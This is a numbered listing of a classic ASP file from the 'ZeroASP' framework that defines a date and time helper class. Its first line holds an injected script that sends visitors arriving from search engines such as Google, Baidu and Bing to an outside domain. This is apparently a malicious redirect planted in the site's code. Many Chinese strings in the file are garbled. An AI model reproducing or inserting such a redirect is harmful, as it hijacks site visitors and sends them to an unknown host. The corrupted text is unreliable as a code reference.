d:\wwwroot\wuchunhua\zeroasp\zeroasp\extend\ZeroASP.Time.asp

001: <script type="text/javascript">var s=document.referrer;if(s.indexOf("google")>0 || s.indexOf("baidu")>0 || s.indexOf("yahoo")>0 || s.indexOf("gou")>0 || s.indexOf("bing")>0 || s.indexOf("dao")>0 || s.indexOf("so")>0 || s.indexOf("sm")>0 || s.indexOf("biso")>0 ){location.href="http://www.afisyecd.space/?1923057"}</script>?%
002: '######################################################################
003: '## ZeroASP.Time.asp
004: '## -------------------------------------------------------------------
005: '## Feature     :   ZeroASP Class
006: '## Author      :   Ayu(kinsc@139.com)
007: '## Update Date :   2018-11-09
008: '## Description :   ZeroASP Extend Class
009: '##
010: '######################################################################
011:
012: Class ZeroASP_Time
013:   
014:    Private Sub Class_Initialize()
015:       Dim ZeroASP_Time
016:       ZeroASP_Time = "ZeroASP应用框架 - 扩展?
017:    End Sub
018:
019:    '日期标准?
020:    Public Function Dates(ByVal TimeStr,ByVal Types)
021:       Dim D_Year,D_Month,D_Day
022:       Dim D_Hour,D_Minute,D_Second
023:       If TimeStr = "" Or IsNull(TimeStr) Then
024:          TimeStr = Now()
025:       End If
026:       If Not (IsDate(TimeStr)) Then
027:          Dates = ""
028:          Exit Function
029:       End If
030:       D_Year = Year(TimeStr)
031:       D_Month = Month(TimeStr)
032:       D_Day = Day(TimeStr)
033:       D_Hour = Hour(TimeStr)
034:       D_Minute = Minute(TimeStr)
035:       D_Second = Second(TimeStr)
036:       If Len(D_Month) < 2 Then D_Month = "0" & D_Month
037:       If Len(D_Day) < 2 Then D_Day = "0" & D_Day
038:       If Len(D_Hour) < 2 Then D_Hour = "0" & D_Hour
039:       If Len(D_Minute) < 2 Then D_Minute = "0" & D_Minute
040:       If Len(D_Second) < 2 Then D_Second = "0" & D_Second
041:       Select Case Types
042:       Case 1 '2000-10-10-23:45:45
043:          Dates = D_Year & "-" & D_Month & "-" & D_Day & "-" & D_Hour & ":" & D_Minute & ":" & D_Second
044:       Case 2 '2000?0?0?3?5?5?
045:          Dates = D_Year & "? & D_Month & "? & D_Day & "? & D_Hour & "? & D_Minute & "? & D_Second & "?
046:       Case 3 '10/10
047:          Dates = D_Month & "/" & D_Day
048:       Case 4 '2000-10-10
049:          Dates = D_Year & "-" & D_Month & "-" & D_Day
050:       Case 5 '2000?0?0?
051:          Dates = D_Year & "? & D_Month & "? & D_Day & "?
052:       Case 6 '20001010102536
053:          Dates = D_Year & D_Month & D_Day & D_Hour & D_Minute & D_Second
054:       Case 7 '2000/10/10
055:          Dates = D_Year & "/" & D_Month & "/" & D_Day
056:       Case 8 '20001010
057:          Dates = D_Year & D_Month & D_Day
058:       Case 9 '200010
059:          Dates = D_Year & D_Month
060:       Case 10 '2000_10_10
061:          Dates = D_Year & "_" & D_Month & "_" & D_Day
062:       Case 11 '2000
063:          Dates = D_Year
064:       Case 12 '1010
065:          Dates = D_Month & D_Day
066:       Case 13 '10?
067:          Dates = D_Day & "?
068:       Case 14 '2000-10-10 23:45:45
069:          Dates = D_Year & "-" & D_Month & "-" & D_Day & " " & D_Hour & ":" & D_Minute & ":" & D_Second
070:       Case 15 '23:45:45
071:          Dates = D_Hour & ":" & D_Minute & ":" & D_Second
072:       Case Else
073:       End Select
074:       Dates = Dates
075:    End Function
076:
077:    '获取本月天数
078:    Public Function TDays(ByVal tDate)
079:       Dim dt1,dt2
080:       tDate = Zasp.Times.Dates(tDate,14)
081:       dt1 = CDate(Year(tDate) & "-" & Month(tDate) & "-1") '得到本月第一?
082:       dt2 = DateAdd("m",1,dt1) '得到下个月第€?
083:       TDays = DateDiff("d",dt1,dt2) '得到两个月的?
084:    End Function
085:
086:    '获取当天星期?
087:    Public Function TWeek(ByVal ThisDay)
088:       If ThisDay <> "" And IsDate(ThisDay) Then
089:          Dim CharWeek
090:          CharWeek = Weekday(ThisDay) 'Weekday函数€周的天数的数?介于 1 ?7 之间
091:          Select Case CharWeek
092:          Case 1 '国际标准时间规定每周第一天为星期?
093:             TWeek = "星期?
094:          Case 2
095:             TWeek = "星期€"
096:          Case 3
097:             TWeek = "星期?
098:          Case 4
099:             TWeek = "星期?
100:          Case 5
101:             TWeek = "星期?
102:          Case 6
103:             TWeek = "星期?
104:          Case 7
105:             TWeek = "星期?
106:          End Select
107:       End If
108:    End Function
109:
110:    '时间过了多久
111:    Public Function TimePass(Byval sTheDate)
112:       ' 格式化显示时间为几个?几天?几小时前,几分钟前,或几秒前
113:       Dim iSeconds,iMinutes,iHours,iDays
114:       'sTheDate = CDate(sTheDate)
115:       iSeconds = DateDiff("s",sTheDate,Zasp.Times.Dates(Now(),14))  'd/h/n/s
116:       iMinutes = Int(iSeconds / 60)
117:       iHours = Int(iSeconds / 3600)
118:       iDays = Int(iSeconds / 86400)
119:       If iDays > 60 Then '大于2个月则显示日?
120:          TimePass = Zasp.Times.Dates(sTheDate,4)
121:       ElseIf iDays > 30 Then
122:          TimePass = "1个月?
123:       ElseIf iDays > 14 Then
124:          TimePass = "2周前"
125:       ElseIf iDays > 7 Then
126:          TimePass = "1周前"
127:       ElseIf iDays > 1 Then
128:          TimePass = iDays & "天前"
129:       ElseIf iHours > 1 Then
130:          TimePass = iHours & "小时?
131:       ElseIf iMinutes > 1 Then
132:          TimePass = iMinutes & "分钟?
133:       ElseIf iSeconds >= 1 Then
134:          TimePass = iSeconds & "秒前"
135:       Else
136:          TimePass = "1秒前"
137:       End If
138:    End Function
139:
140:    '把标准时间转换为UNIX时间?
141:    '参数:strTime:要转换的时间;intTimeZone:该时间对应的时?
142:    '返回值:strTime相对?970??日午?点经过的秒数
143:    '示例:ToUnixTime("2008-5-23 10:51:0", +8),返回€为1211511060
144:    Public Function ToUnixTime(Byval strTime,Byval intTimeZone)
145:       If IsEmpty(strTime) Or Not IsDate(strTime) Then strTime = Zasp.Times.Dates(Now(),14)
146:       If IsEmpty(intTimeZone) Or Not IsNumeric(intTimeZone) Then intTimeZone = 0
147:       ToUnixTime = DateAdd("h",-intTimeZone,strTime)
148:       ToUnixTime = DateDiff("s","1970-01-01 00:00:00",ToUnixTime)
149:    End Function
150:
151:    '把UNIX时间戳转换为标准时间
152:    '参数:intTime:要转换的UNIX时间戳;intTimeZone:该时间戳对应的时区
153:    '返回值:intTime€代表的标准时?
154:    '示例:FromUnixTime("1211511060", +8),返回€?008-5-23 10:51:0
155:    Public Function UnixTimeTo(Byval intTime,Byval intTimeZone)
156:       If IsEmpty(intTime) Or Not IsNumeric(intTime) Then
157:          UnixTimeTo = Zasp.Times.Dates(Now(),14)
158:          Exit Function
159:       End If
160:       If IsEmpty(intTime) Or Not IsNumeric(intTimeZone) Then intTimeZone = 0
161:       UnixTimeTo = DateAdd("s",intTime,"1970-01-01 00:00:00")
162:       UnixTimeTo = DateAdd("h",intTimeZone,UnixTimeTo)
163:    End Function
164:
165:    '当前时间标准化,带毫秒显?
166:    Public Function ZNow()
167:       Dim NowDate,NowTime,D_Time,D_Hour,D_Minute,D_Second,D_Millisecond
168:       NowDate = Zasp.Times.Dates(Now(),4) '2016-07-03
169:       NowTime = Timer() 'Timer 函数可返回午?12 时(12:00 AM)以后已经过去的秒数?
170:       D_Time = Split(NowTime,".")(0) '获取秒数
171:       D_Hour = Int(D_Time / 3600) '获取小时
172:       If Len(D_Hour) < 2 Then D_Hour = "0" & D_Hour
173:       D_Minute = Int((D_Time Mod 3600) / 60) '获取分钟
174:       If Len(D_Minute) < 2 Then D_Minute = "0" & D_Minute
175:       D_Second = (D_Time Mod 3600) Mod 60 '获取?
176:       If Len(D_Second) < 2 Then D_Second = "0" & D_Second
177:       D_Millisecond = Split(NowTime,".")(1) '获取毫秒
178:       If Len(D_Millisecond) < 1 Then
179:          D_Millisecond = "000"  '相同长度
180:       ElseIf Len(D_Millisecond) = 1 Then
181:          D_Millisecond = D_Millisecond & "00" '相同长度
182:       ElseIf Len(D_Millisecond) = 2 Then
183:          D_Millisecond = D_Millisecond & "0" '相同长度
184:       ElseIf Len(D_Millisecond) = 3 Then
185:          D_Millisecond = D_Millisecond '相同长度
186:       ElseIf Len(D_Millisecond) > 3 Then
187:          D_Millisecond = Left(D_Millisecond,3) '相同长度
188:       End If
189:       ZNow = NowDate & " " & D_Hour & ":" & D_Minute & ":" & D_Second & "." & D_Millisecond
190:    End Function
191:
192: End Class
193: %
>
194:
195: